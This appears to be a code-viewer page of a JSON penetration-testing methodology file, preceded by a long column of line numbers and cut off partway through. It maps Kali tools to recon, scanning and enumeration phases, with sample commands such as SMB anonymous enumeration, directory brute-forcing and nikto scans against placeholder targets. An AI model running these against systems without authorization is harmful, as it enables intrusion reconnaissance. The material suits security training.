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99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
{
  "tools": {
    "kali_tools": {
      "penetration_testing_methodologies.json": {
        "penetration_testing_phases": {
          "1_reconnaissance": {
            "description": "Information gathering about the target",
            "passive_recon": {
              "description": "Gathering information without direct interaction",
              "tools": [
                "theharvester",
                "shodan",
                "recon-ng",
                "maltego"
              ],
              "workflow": [
                "1. Start with OSINT using TheHarvester for emails/subdomains",
                "2. Use Shodan for exposed services",
                "3. Employ Recon-ng for comprehensive OSINT",
                "4. Map relationships with Maltego"
              ]
            },
            "active_recon": {
              "description": "Direct interaction with target systems",
              "tools": [
                "nmap",
                "masscan",
                "dnsenum",
                "fierce"
              ],
              "workflow": [
                "1. DNS enumeration with dnsenum/fierce",
                "2. Port scanning with Nmap for detailed info",
                "3. Use Masscan for large network ranges",
                "4. Service version detection with Nmap scripts"
              ]
            }
          },
          "2_scanning": {
            "description": "Identifying live systems, open ports, and services",
            "network_scanning": {
              "tools": [
                "nmap",
                "masscan",
                "unicornscan"
              ],
              "workflow": [
                "1. Ping sweep to identify live hosts",
                "2. Port scanning (TCP/UDP)",
                "3. Service enumeration",
                "4. OS fingerprinting"
              ]
            },
            "vulnerability_scanning": {
              "tools": [
                "openvas",
                "nessus",
                "nikto"
              ],
              "workflow": [
                "1. Configure vulnerability scanner",
                "2. Run authenticated scans when possible",
                "3. Prioritize findings by severity",
                "4. Validate scanner results manually"
              ]
            }
          },
          "3_enumeration": {
            "description": "Extracting detailed information from identified services",
            "service_enumeration": {
              "smb": {
                "tools": [
                  "enum4linux",
                  "smbclient",
                  "rpcclient"
                ],
                "commands": [
                  "enum4linux -a target",
                  "smbclient -L //target",
                  "rpcclient -U '' target"
                ]
              },
              "web": {
                "tools": [
                  "dirb",
                  "gobuster",
                  "ffuf",
                  "nikto"
                ],
                "commands": [
                  "gobuster dir -u http://target -w wordlist.txt",
                  "ffuf -w wordlist.txt -u http://target/FUZZ",
                  "nikto -h http://target"
                ]
              },
              "dns": {
                "tools": [
                  "dnsrecon",
                  "dnsenum",
                  "fierce"
                ],
                "commands": [
                  "dnsrecon -d target.com",
                  "dnsenum target.com",
                  "fierce --domain target.com"
                ]
              }
            }
          },
          "4_vulnerability_assessment": {
            "description": "Identifying and prioritizing vulnerabilities",
            "automated_scanning": {
              "tools": [
                "openvas",
